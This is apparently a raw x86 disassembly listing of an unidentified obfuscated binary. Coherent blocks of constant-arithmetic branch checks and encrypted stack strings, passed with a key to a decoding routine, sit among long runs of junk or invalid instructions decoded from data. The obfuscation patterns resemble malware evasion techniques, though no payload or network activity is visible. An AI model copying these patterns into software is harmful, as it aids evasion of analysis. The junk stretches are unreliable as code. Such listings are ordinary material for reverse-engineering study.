cmp dword [edi + 0x3a871d58], 0x50eb37c0
xchg edx, eax
cmpsd dword [esi], dword es:[edi]
jb 0x6dfd5bfe
mov ecx, 0xb7116b19
push 0xb6dc4f98
xor byte [edx + 0x5b], dh
sub eax, 0xf443c4d3
mov edx, 0x2b768400
shl al, 0x41
pop esp
sbb edx, edx
sub cl, dl
push ss
sub al, 0xdb
daa
adc dword [eax + 0x20], ebp
push ds
cmpsd dword [esi], dword es:[edi]
scasd eax, dword es:[edi]
sbb dword [edx], esi
out dx, eax
ret
invalid
pop es
mov esp, ebx
pop ecx
sub dword [bp + si + 0x7109], 0x76e46e0a
mov word [edx + 0x5a], gs
xchg ebp, eax
dec ecx
shr byte [ebx - 0x19], 0xb7
push ebp
jo 0x6dfd736c
pop ebx
xchg byte [ebp + 0x5b], dl
or al, al
push 0xde05102b
and eax, 0x59690836
pop eax
cmpsb byte [esi], byte es:[edi]
mov al, byte [0xc1702eb6]
and dword [ecx - 0x27], edx
mov al, byte [0x21a6259c]
jl 0x6dfd741c
out dx, al
xor dword [edi - 0x11b091fe], edi
push ecx
sbb bl, dh
je 0x6dfd73e4
mov cl, 0x52
repne scasd eax, dword es:[edi]
xchg ecx, eax
sub ecx, 0x43
push ecx
xor dword [ebp + 0x66], ecx
hlt
adc dh, dl
int3
hlt
sar dword [esp + edi*4 + 0x7f712636], 1
or dword [esp + ecx*4 + 0x455aa329], ebp
sub eax, dword [ecx + ebp]
jmp 0x6dfd8aca
ljmp 0x5b47:0x43cde54d
aaa
jnp 0x6dfda237
add dl, al
rcl byte [eax - 0x5bb61634]
add byte [eax], al
fcom dword [edx - 0x25eb9c98]
fcmovne st(0), st(1)
push ss
into
neg byte [0xf6557752]
cmp dword [eax], esp
daa
inc edi
inc ebx
jl 0x6dfda31a
sub dword [esi - 0x6ba30565], edi
mov dword [0xf2f3eb68], eax
jl 0x6dfda2a4
cmc
inc ecx
pop esi
daa
sbb ah, byte [eax - 0x7aeca251]
inc esi
mov edx, 0xa888f7ba
mov dh, byte [edi]
in al, 0x54
or esi, ebx
mov al, byte [edx + 0x24]
push ss
adc ecx, edi
js 0x6dfda28c
call 0xa801cd96
push edx
pushfd
mov bl, 0x42
dec esi
stosd dword es:[edi], eax
jno 0x6dfda35c
insb byte es:[edi], dx
jp 0x6dfda30c
and byte [ebx - 0x67], dl
push ebx
cdq
out 0x3b, al
or dword [eax + ecx*2 - 0x4e], 0x43cd7b6d
ljmp 0x64a4
mov ebp, 0x9bcf64a4
out 0x8d, eax
shr dh, cl
jb 0x6dfda2fe
iretd
jne 0x6dfda2ae
arpl sp, bp
xchg esi, eax
shl dl, 0x99
movq qword [edi + esi*2 + 0x6f], mm1
test byte [ecx + 0x6b], bl
inc edx
xchg bl, ah
cmp eax, 0x116d59f5
and eax, 0xb8bbc934
jne 0x6dfda2eb
or eax, 0xf85763b5
pop ebp
je 0x6dfda356
xor byte [edx + edx*8 + 0x11f5f8b0], dl
push esi
sal byte [eax + 0x5611f5f8], cl
jmp 0x6dfda2fc
cmp byte [ebx - 0x71], cl
push ds
pop ebx
jnp 0x6dfda330
shl edi, cl
pop edi
out 0x5f, eax
inc ebp
out dx, eax
sbb byte [0x63e514f1], ch
nop
int3
fmulp st(4)
outsb dx, byte [esi]
sbb byte [esp + edx*8 + 0x6c6dbeb7], bl
or eax, dword [esi + 0x756752a4]
test eax, 0xb6effc70
movsb byte es:[edi], byte [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [0x1e3f2556]
inc edx
daa
int3
mov al, byte [0x2572d4f3]
inc ebp
fist word [esi + eax + 0x2f]
rdmsr
nop
insb byte es:[edi], dx
and eax, 0x13f33a05
retf
imul ecx, dword [eax + 0x22f33066], 0xf6652618
add dword [edx + 0x476d5fa3], esp
sahf
xor dword [edi - 0x5b58fa8c], esp
je 0x6dfde8f5
cmpsd dword [esi], dword es:[edi]
movsb byte es:[edi], byte [esi]
cmp ebp, eax
and byte [ecx], dh
xor al, cl
stosb byte es:[edi], al
dec ebp
inc eax
nop
int3
xor dword [edx], esi
shr dword [edx - 0x336fbfb3], 0xe9
loope 0x6dfde95d
add byte [eax], al
jg 0x6dfde8ee
test byte [esi], dl
test al, 0x40
in al, dx
xor al, 0x50
cwde
in eax, dx
push 0xffffffffffffffc9
or dword gs:[edi + 0x46d472c7], 0xad946bbe
mov edx, 0x901138
push ebp
sar byte [ebp + ebx*4 - 2], 0x2b
jle 0x6dfde8db
cmp eax, 0xa13ab938
mov edx, 0xbbe4692
jbe 0x6dfde94a
invalid
adc dword [0xad164d1d], eax
stosd dword es:[edi], eax
lodsb al, byte [esi]
ror byte [ebp + 0x6f7846d3], cl
and dword [ebp + 0x57734e61], edi
push edi
sbb byte [edx], 0x27
daa
call 0xc13b6ff1
pop esi
mul dword [0x5bb26e6b]
fstp dword [esi + edi*8 + 0x2e]
pop es
jbe 0x6dfde960
invalid
sbb dword [esi - 0x114c320b], ebx
xlatb
dec esp
or eax, 0x880c7461
psubsb mm7, qword [esi - 0x4c8947bb]
nop
int3
outsb dx, byte [esi]
mov bl, 0x4b
sbb byte [ebp - 0x48ca1e7d], ch
mov dword [0x6b1eedf1], eax
pop ebp
pop es
idiv esi
xlatb
push edi
dec esi
xchg ebp, eax
cmp dword [esi - 0x17c6de8c], edi
cmc
adc ebx, edx
out dx, eax
pushal
cld
or eax, 0xc0218150
stosd dword es:[edi], eax
inc esp
add dh, byte [ebp + 0x37]
cmpsd dword [esi], dword es:[edi]
sub al, 0xaa
in al, 0x72
inc eax
ja 0x6dfe0066
les ecx, [ecx]
push edi
mov cl, byte [ebx]
into
ficomp word [ebp - 0x6c134a5f]
jne 0x6dfe005e
outsb dx, byte [esi]
adc edi, dword [edx + ebx*2]
xor eax, 0xde6fd2c6
jno 0x6dfe013f
mov ah, 0xf8
popfd
jns 0x6dfe00cf
insd dword es:[edi], dx
mov eax, dword [0xc1cd3734]
xor al, 0x37
int 0xc1
test dword [ebx - 0x77395a58], edx
mov ah, byte [ebx + 0x6e4459bd]
inc esp
xchg ebp, eax
sbb byte [ebx - 0x41], cl
xor al, 0x1d
xor dl, byte [ebx - 0xb046717]
cld
invalid
pop eax
ror dword [eax], cl
mov eax, dword [edi - 0x6f5172e0]
int3
or byte [edi], bl
inc ebx
cmp ah, byte [eax + 0x7b]
pop eax
invalid
mov ebp, 0xe7b8796a
mov byte [0x848bbaec], al
jmp 0x24e60d8a
nop
jmp 0x6dfe46e3
nop
mov dword [ebp - 0x31e], 0x613e4920
mov dword [ebp - 0x31a], 0x6c22580d
mov dword [ebp - 0x316], 0x49606f0a
mov dword [ebp - 0x312], 0x5805612e
mov dword [ebp - 0x30e], 0x6c22
mov dword [ebp - 0x58], 0xd2c34
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x60], 0x6d742
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x54]
imul eax, dword [ebp - 0x60]
mov edx, eax
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x58]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x58]
mul dword [ebp - 0x60]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0x1cbd1168
mov edx, dword [ebp - 0x64]
xor edx, 0x5a
or eax, edx
je 0x6dfea5d4
mov edx, 0x1cbd1168
mov eax, 0x5a
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6dfea5d7
mov eax, dword [ebp - 0x68]
xor eax, 0xaabfe
or eax, dword [ebp - 0x64]
je 0x6dfe5f6f
mov edx, 0xaabfe
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6dfea5d7
mov eax, dword [ebp - 0x68]
xor eax, 0x8869b
or eax, dword [ebp - 0x64]
je 0x6dfe76e7
mov edx, 0x8869b
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6dfea5d7
mov eax, dword [ebp - 0x68]
xor eax, 0x1f370
or eax, dword [ebp - 0x64]
je 0x6dfe47f7
mov eax, dword [ebp - 0x68]
xor eax, 0x6e7a4
or eax, dword [ebp - 0x64]
je 0x6dfe8e5f
jmp 0x6dfea5d7
add al, 0x40
cmp dword [eax - 0x32], ebx
ljmp 0xcee1
ret
sub al, 0xc7
rcr ah, cl
adc al, 0x10
push es
push cs
ror byte [edi], 1
jnp 0x6dfe5f8e
cmp esi, eax
out 0x6a, eax
shl dword [esi + 0x24], 1
xchg dword [ecx - 0x7f], eax
invalid
enter 0xffffffffffffb40f, 0x4e
js 0x6dfe5fab
pop esp
lodsb al, byte [esi]
jp 0x6dfe5fc1
pop ecx
mov cl, 0xfe
invalid
xchg ebx, eax
loop 0x6dfe5f54
push ds
lahf
add ah, byte [edi + 0xa]
insb byte es:[edi], dx
mov edi, esp
mov ch, 0x31
xor eax, 0xd412109e
push es
sub edx, dword [edx]
mov esp, 0x72a8dfba
int 0xc7
dec ecx
push ebp
mov dl, 0xd9
fstp qword [esi]
jnp 0x6dfe5f8e
mov edx, 0xcd72a8df
invalid
dec esi
push edi
xor dword [ebp + 0x35], ecx
push 0xa09af9d1
ljmp 0xd244
adc ebp, dword [ecx - 0x3030675]
adc eax, 0xa0eb4168
inc eax
or byte [eax], dl
xchg esi, eax
sti
sbb ebx, dword [0x53c62cee]
div dword [ebx]
pop ebp
and edx, eax
shl dword [esp + edi*2], 0x9d
div dword [esi - 0x3c]
test dword gs:[ecx], edi
outsb dx, byte [esi]
int3
call 0xcbe02cc3
pop esp
fnstcw word [eax]
invalid
nop
jmp 0x6dfea5d8
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0x12
lea eax, [ebp - 0x31e]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0x70], 0xd1d86
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0x39440
mov dword [ebp - 0x74], 0
mov eax, dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
sub eax, dword [ebp - 0x78]
sbb edx, dword [ebp - 0x74]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
xor eax, 0x7e204
or eax, dword [ebp - 0x7c]
je 0x6dfea647
mov eax, dword [ebp - 0x80]
xor eax, 0x98946
or eax, dword [ebp - 0x7c]
je 0x6dfebdbc
jmp 0x6dfebdbd
jecxz 0x6dfea684
scasb al, byte es:[edi]
stc
daa
adc eax, 0xf0942e86
add byte [esi + eax*8 - 0x25], ah
or bh, al
scasd eax, dword es:[edi]
cmpsb byte [esi], byte es:[edi]
sar byte [esi + 0x50feb09], cl
cmp dh, ch
and ch, bl
jmp 0x6dfea6ca
xchg ecx, eax
lcall 0xb6c1, 0xc63994a6
cmp dword [edi + 0x15ac3df9], 0xffffffd9
add bl, byte [edi]
cmp eax, 0x2d915ac
pop ds
or cl, byte [edi]
scasd eax, dword es:[edi]
pop ebx
push ebp
popfd
cwde
cmp ah, dh
jg 0x6dfea669
in al, 0xd6
salc
xor ebp, esi
stosb byte es:[edi], al
and edi, dword [edi]
jmp 0x9871b0a0
mov al, byte [0xb797752f]
out 0xbb, al
xchg edi, eax
mov bh, 0x3e
out 0xbb, al
mov ebx, 0xce3602a5
movsd dword es:[edi], dword [esi]
add dh, byte [esi]
into
stc
jp 0x6dfea6c7
cmc
sbb bl, byte [edx]
push ecx
mov dword [edx - 0x34], ecx
pushfd
aaa
push edi
div dword [eax + 0x6e]
xchg esi, eax
sub eax, 0x96c9c2b
jecxz 0x6dfea674
jg 0x6dfea72e
inc eax
dec ebx
xchg dword [ecx - 0x3309aed], edx
mov byte [edi + 0x19], bh
dec eax
mov ch, 0x63
faddp st(0)
invalid
lahf
push esp
cmp al, 0xa7
or ah, byte [edi + eax - 0x6ee35ec7]
push eax
jns 0x6dfea7af
push ebx
adc dl, byte [ebx + eax*8 - 0x45]
jno 0x6dfea6cf
mov byte [esi], bh
out dx, eax
mov byte [eax - 0x5fcf3786], al
fsubp st(3)
into
inc ecx
ja 0x6dfea72d
xchg edx, eax
int3
enter 0x5b7f, 0x6a
cmpsb byte [esi], byte es:[edi]
mov byte fs:[0x3fdfd319], al
stosd dword es:[edi], eax
dec ebp
pushal
mov ebp, 0x80938ea2
jae 0x6dfea7ab
ret
mov eax, dword [0x67e6adec]
inc edx
inc edx
shl dword [edi - 0x4e], 1
add bh, byte [ecx]
jmp 0x6dfea765
nop
mov dword [ebp - 0x32e], 0x313e2c09
mov dword [ebp - 0x32a], 0x2d2d371b
mov dword [ebp - 0x326], 0x2c3c0b02
mov dword [ebp - 0x322], 0x1239
mov dword [ebp - 0x88], 0xedc12
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x90], 0xba38b
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
sub eax, dword [ebp - 0x90]
sbb edx, dword [ebp - 0x8c]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x98]
xor eax, 0x33887
or eax, dword [ebp - 0x94]
je 0x6dfed5d4
mov eax, dword [ebp - 0x98]
xor eax, 0x9451e
or eax, dword [ebp - 0x94]
jne 0x6dfed5d7
in eax, 0x86
invalid
nop
jmp 0x6dfed5d8
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0xe
lea eax, [ebp - 0x32e]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0xa0], 0x5aad8
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa8], 0xf1975
mov dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0xa8]
mov edx, eax
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0xa0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xa0]
mul dword [ebp - 0xa8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0xb0]
xor eax, 0x92ee2cb8
mov edx, dword [ebp - 0xac]
xor edx, 0x55
or eax, edx
je 0x6dffc315
mov edx, 0x92ee2cb8
mov eax, 0x55
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6dffc318
mov eax, dword [ebp - 0xb0]
xor eax, 0xd3f8e
or eax, dword [ebp - 0xac]
je 0x6dffaba0
mov edx, 0xd3f8e
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6dffc318
mov eax, dword [ebp - 0xb0]
xor eax, 0xd16f7
or eax, dword [ebp - 0xac]
je 0x6dff3648
mov edx, 0xd16f7
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6dffc318
mov eax, dword [ebp - 0xb0]
xor eax, 0xc6006
or eax, dword [ebp - 0xac]
je 0x6dfed868
mov edx, 0xc6006
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6dffc318
mov eax, dword [ebp - 0xb0]
xor eax, 0xc1d54
or eax, dword [ebp - 0xac]
je 0x6dff0758
mov edx, 0xc1d54
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6dffc318
mov eax, dword [ebp - 0xb0]
xor eax, 0xb5c90
or eax, dword [ebp - 0xac]
je 0x6dff7cb0
mov edx, 0xb5c90
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6dffc318
mov eax, dword [ebp - 0xb0]
xor eax, 0xb29f8
or eax, dword [ebp - 0xac]
je 0x6dfeefe0
mov edx, 0xb29f8
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6dffc318
mov eax, dword [ebp - 0xb0]
xor eax, 0x618da
or eax, dword [ebp - 0xac]
je 0x6dff1ed0
mov edx, 0x618da
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6dffc318
mov eax, dword [ebp - 0xb0]
xor eax, 0x2593f
or eax, dword [ebp - 0xac]
je 0x6dff9428
mov edx, 0x2593f
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x6dffc318
mov eax, dword [ebp - 0xb0]
xor eax, 0x2d8
or eax, dword [ebp - 0xac]
je 0x6dff4dc0
mov eax, dword [ebp - 0xb0]
xor eax, 0xf55c
or eax, dword [ebp - 0xac]
je 0x6dff6538
jmp 0x6dffc318
fstp qword [edx + ebx*8 + 0x58]
dec ecx
mov bh, 0xf0
mov dl, 0x6d
sahf
insb byte es:[edi], dx
aam 0
mov cs, esi
cmp al, 0x5f
sbb eax, 0xbe1e79c3
add eax, 0x436d635d
mov edi, 0x27f17a75
mov al, 0xb5
fistp qword [ebx + 0x17]
adc eax, 0xf9603b7e
int3
xchg ebx, eax
inc eax
xlatb
cmc
mov cl, 0xda
test dword fs:[edi + 0x495f07be], ecx
int 0xad
stosd dword es:[edi], eax
wait
sbb al, byte es:[edi + 0x1c]
in al, dx
lds ebx, [esi]
lahf
push 0xcd6f9f11
invalid
xor al, 0x85
dec ebx
lodsd eax, dword [esi]
popfd
and dword [ebx], 0x30de4485
push ds
sahf
xchg edi, eax
add eax, 0xa24de609
leave
sar dword [edx - 0x2ec3f732], cl
leave
pop ds
wait
adc byte [ecx + 0x716215c2], 0xb
ret 0xe112
pushal
js 0x6dff0727
invalid
mov cl, cl
add dword [esi + edx - 0xb], ebx
add dword [edi - 0x52518e3], esi
jnp 0x6dff1ee2
mov eax, 0x5d6f4596
pop ebp
pop ecx
mov dword [0x7ceba1c4], eax
inc ebp
pop ecx
dec esi
xchg dword [esp + 0x4b67fa11], edx
cmpsd dword [esi], dword es:[edi]
test esp, ebx
int 0x83
sbb al, 0xa8
pop es
and eax, 0xf293a395
shl bh, 0xa6
inc ebp
aam 0xa5
idiv byte [ebp + 0x2d]
mov cs, word [ebp - 0x73422a25]
add esi, ecx
xchg dl, bh
aam 0x57
sbb byte [ebx - 0x33d93166], bl
das
mov al, 0x5e
mov fs, edi
mov eax, dword [0xf1c75e4b]
push eax
mov byte [0x84519619], al
xchg ebx, eax
cmp byte [esi - 0x14], cl
sub byte [ecx - 0x1f], dl
in eax, dx
int3
push edi
add ch, cl
into
push eax
cld
sub al, 1
mov eax, 0x59fea300
movsb byte es:[edi], byte [esi]
pop edi
sbb dl, dl
idiv eax
xchg ebp, eax
or eax, 0xa06e535c
invalid
jecxz 0x6dff35e0
mov dword [edi + 0x3b], 0xb6a9bfe0
rol dword [eax + 0x42], 0x2b
mov eax, 0x4330c966
sar dword [ecx], 1
pop es
add dword [ebp + 0x77], ecx
mov edx, 0x398aefc9
and bh, ah
lodsb al, byte [esi]
cmp dl, ah
inc ebx
test eax, 0x26ae329e
cmp ebx, dword [eax + edx*4 - 0x3a]
nop
int3
stosd dword es:[edi], eax
das
mov dl, 0xcf
sub dh, ch
aaa
out 0xf9, eax
push ecx
xor esi, dword [ecx + 0x70997eed]
or byte [esi + 0x44], dh
push eax
mov al, 0xc5
insb byte es:[edi], dx
dec eax
fdecstp
xchg esi, eax
mov bh, 0x89
mov edi, 0x9f675df2
pop edi
les eax, [ebp + 0x24b568c5]
sbb eax, 0xf5c65c7d
test al, 0xaf
sub edi, esi
sub byte [edi - 0x74a9e7af], al
popal
loope 0x6dff3614
or al, 0x10
out 0xed, eax
jp 0x6dff3664
pop edx
pop esp
lcall 0x272b, 0x530fc4e7
mov cl, 0xdf
adc esi, dword [esp + edi]
fiadd word [edi]
mov word [0x52d2a3bd], fs
scasb al, byte es:[edi]
push ds
jmp 0xeec2d8e1
cld
sub dword [esi - 0x4625b2fe], 0x3fa8ae5b
add cl, byte [ebp - 0x26]
mov ecx, 0x3fa8ae5b
pop esi
outsb dx, byte [esi]
xor al, 0xcc
pop esi
mov dword [0xa05a1238], eax
test byte [ebx + ebp - 0x64], 0xa2
mov dh, 0x49
add cl, dh
xchg ebx, eax
adc ecx, dword [eax]
jno 0x6dff4e29
xchg esi, eax
push ds
jns 0x6dff4e17
out dx, eax
leave
mov cl, 0x95
add byte [eax], dh
sti
mov cl, 0x9c
jnp 0x6dff4dc3
and al, 0xfc
invalid
mov ss, word [esi + 0x70]
cmp dword [edx + 0x54a79145], esi
ficomp word [edx - 8]
arpl word [edi - 0x4ccd3197], cx
xchg esi, eax
not byte [ebx]
mov edx, 0xb2bd0483
loop 0x6dff4e7b
add eax, 0x8ca6c9ea
outsb dx, byte [esi]
das
cmp byte [ebx], bl
adc dword [eax], edi
salc
jp 0x6dff4e3e
mov dword [0xc0fcd9c9], eax
pushfd
adc dword [edi], esi
cdq
loope 0x6dff4e7b
add al, 0x3e
xchg esi, eax
add eax, 0xc487c37b
jnp 0x6dff4e03
xchg esp, eax
ret
call 0x99b45821
in al, 0x87
inc ch
xchg ebp, eax
stosb byte es:[edi], al
jge 0x6dff4e20
pop ebp
or cl, byte [edx]
stosd dword es:[edi], eax
lds edx, [eax + 0x2e9fbecc]
js 0x6dff4eb4
fld dword [ecx + ebp*4 - 0x363db588]
pop esi
sar ebp, cl
or ebx, 0x3ed366c6
mov eax, dword [0xd0e1da94]
or dword [eax + 0x53], ebx
rcr dword [esi], 1
mov al, byte [0x2b4e15bd]
inc edx
xchg dword [ebx], esi
adc byte [eax + ecx - 0x24], 0x2a
cmp dword [esi + 0x79], edi
hlt
fsubr qword [esi - 0x1b]
cmp byte [edx + 0x10161010], al
aam 0xa2
mov al, byte [0x82d6b86f]
cld
invalid
sbb byte [0x9e90b5bd], al
sbb al, 0x44
mov al, byte [0x868aeb49]
nop
ret 0xbda1
and edi, dword [edi]
pop esi
enter 0x613c, 0xffffffffffffffd0
sub eax, 0x2291fb5d
imul ecx, dword [ecx - 0x52], 0xffffff97
dec esi
movsd dword es:[edi], dword [esi]
inc edx
aam 0x62
mov esi, 0x7c001cd6
add eax, 0x612b7824
shr dword [bx + si], 1
cmc
add al, 0xa
shr eax, cl
salc
outsd dx, dword [esi]
mov al, 0x67
adc eax, dword [esi + 0x26]
imul byte [esi + eax*8 + 0x45]
adc byte [ebp + 0x2c], ah
push ebp
pop edx
je 0x6dff94b5
push 0x3a196506
xlatb
adc byte [edx + 0x3d], 0xa5
out dx, eax
pop edx
cmp dword [ebp - 0x5f486b43], esp
add cl, byte [eax + ecx*8]
jnp 0x6dff9451
jmp 0xc6646246
lcall 0x78bf, 0x25496b57
popfd
lodsd eax, dword [esi]
inc ecx
aas
inc esp
dec ecx
cli
inc ebp
rol byte [ebx + 0x4bc4230c], cl
pushfd
mov bl, 0x63
mov al, 0x15
and dword [ecx], edi
dec edx
in al, dx
push 0x2cebb43a
pop edi
aad 0x8f
sbb bh, byte [ebx + 0x50a0ed77]
xor dl, byte [ecx]
lds esi, [ecx - 0x38]
sub ebx, ebx
jno 0x6dff94c4
sahf
dec ebp
mov al, byte [0xe271c5f9]
retf
iretd
nop
jmp 0x6dffc319
nop
mov dword [ebp - 0x33c], 0x52b2602
mov dword [ebp - 0x338], 0x1e2c3125
mov dword [ebp - 0x334], 0x8371d07
mov word [ebp - 0x330], 0
mov dword [ebp - 0xb8], 0x367dd
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xc0], 0x20b9d
mov dword [ebp - 0xbc], 0
mov ecx, dword [ebp - 0xb8]
mov ebx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xc8]
xor eax, 0x5737a
or eax, dword [ebp - 0xc4]
je 0x6dffdb33
jae 0x6dffc39f
add byte [ebx], cl
test dword [edi + edi*8], edi
invalid
mov eax, dword [ebp - 0xc8]
xor eax, 0xc25bd
or eax, dword [ebp - 0xc4]
jne 0x6dffdb36
imul ebx, dword [eax - 0x58c2f94e], 0x3492307f
das
sub dword [ebx - 0x7816daf7], esp
fistp qword [eax - 0x44]
xor dl, 0xda
pop ebx
fldcw word [edi]
pushal
and esp, dword [eax - 0x5a043873]
bound ebp, qword [eax]
mov edx, 0x873eb435
pushal
bnd jecxz 0x6dffc400
sti
sbb bl, al
salc
out 0x90, al
mov ebp, 0xf053fce3
push esi
js 0x6dffc398
push es
invalid
jno 0x6dffc47f
xchg ecx, eax
int 4
scasb al, byte es:[edi]
invalid
std
leave
inc eax
test byte [edx - 0x54], bh
cli
out 0x5b, eax
lodsb al, byte [esi]
sub dl, cl
nop
int3
nop
jmp 0x6dffdb37
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0xc
lea eax, [ebp - 0x33c]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0xd0], 0xefdc8
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xd8], 0xa39c2
mov dword [ebp - 0xd4], 0
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0xcc]
sub eax, dword [ebp - 0xd8]
sbb edx, dword [ebp - 0xd4]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xe0]
xor eax, 0xcd2cf
or eax, dword [ebp - 0xdc]
je 0x6dfff546
mov edx, 0xcd2cf
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e00dff3
mov eax, dword [ebp - 0xe0]
xor eax, 0xcc5df
or eax, dword [ebp - 0xdc]
je 0x6e008216
mov edx, 0xcc5df
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e00dff3
mov eax, dword [ebp - 0xe0]
xor eax, 0xbb366
or eax, dword [ebp - 0xdc]
je 0x6e005326
mov edx, 0xbb366
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e00dff3
mov eax, dword [ebp - 0xe0]
xor eax, 0xb4565
or eax, dword [ebp - 0xdc]
je 0x6e00c87e
mov edx, 0xb4565
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e00dff3
mov eax, dword [ebp - 0xe0]
xor eax, 0x74c6f
or eax, dword [ebp - 0xdc]
je 0x6e000cbe
mov edx, 0x74c6f
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e00dff3
mov eax, dword [ebp - 0xe0]
xor eax, 0x6522a
or eax, dword [ebp - 0xdc]
je 0x6e00998e
mov edx, 0x6522a
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e00dff3
mov eax, dword [ebp - 0xe0]
xor eax, 0x60de8
or eax, dword [ebp - 0xdc]
je 0x6e003bae
mov edx, 0x60de8
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e00dff3
mov eax, dword [ebp - 0xe0]
xor eax, 0x55307
or eax, dword [ebp - 0xdc]
je 0x6e00b106
mov edx, 0x55307
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e00dff3
mov eax, dword [ebp - 0xe0]
xor eax, 0x4c406
or eax, dword [ebp - 0xdc]
je 0x6e00dff6
mov edx, 0x4c406
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e00dff3
mov eax, dword [ebp - 0xe0]
xor eax, 0x1ee46
or eax, dword [ebp - 0xdc]
je 0x6e006a9e
mov edx, 0x1ee46
mov eax, 0
cmp edx, dword [ebp - 0xe0]
sbb eax, dword [ebp - 0xdc]
jl 0x6e00dff3
mov eax, dword [ebp - 0xe0]
xor eax, 0x825f
or eax, dword [ebp - 0xdc]
je 0x6dffddce
mov eax, dword [ebp - 0xe0]
xor eax, 0x1092f
or eax, dword [ebp - 0xdc]
je 0x6e002436
jmp 0x6e00dff3
inc eax
invalid
cdq
call 0xbb7024ea
or byte [ebp - 0x45], al
out 0x27, eax
daa
bound esp, qword [esi + edx - 0x38]
jb 0x6dfff54a
push eax
push esp
xchg ecx, eax
mov dword [edi], eax
jge 0x6dfff563
ljmp 0x3042:0x2b77b2d8
jns 0x6dfff50f
imul ecx, dword [edi - 0x1c], 0xec85a4a0
in al, 0xa0
movsb byte es:[edi], byte [esi]
test esp, ebp
popal
movsb byte es:[edi], byte [esi]
mov cl, 0x16
mov ebx, 0x1d20a441
jecxz 0x6dfff57e
or ah, ch
mov ecx, 0x3508e163
movsd dword es:[edi], dword [esi]
js 0x6dfff505
mov cl, 0xe5
jb 0x6dfff5c5
mov edx, dword [ecx]
mov edi, 0x37d93b2c
std
outsd dx, dword [esi]
sbb al, 0x7d
invalid
imul edi, dword [eax - 0x17], 0xc1d75a2a
rcr dh, 1
push edx
invalid
and eax, 0xf80728cc
rol byte [edx + 0x41], 1
test dl, dh
fild dword [esi + 0x26bf54f3]
imul byte [ecx + 0x47]
aaa
cwde
fcom qword [ebx + 0x70fbec61]
xchg esp, eax
fild dword [edi + 0x54]
into
nop
pop ecx
lodsb al, byte [esi]
outsb dx, byte [esi]
pop ss
mov dl, dh
or byte [ebp + 0x28], bh
dec esi
out dx, eax
and edx, dword [ebx + eax - 0x43d474e0]
ret 0x9a51
pop esp
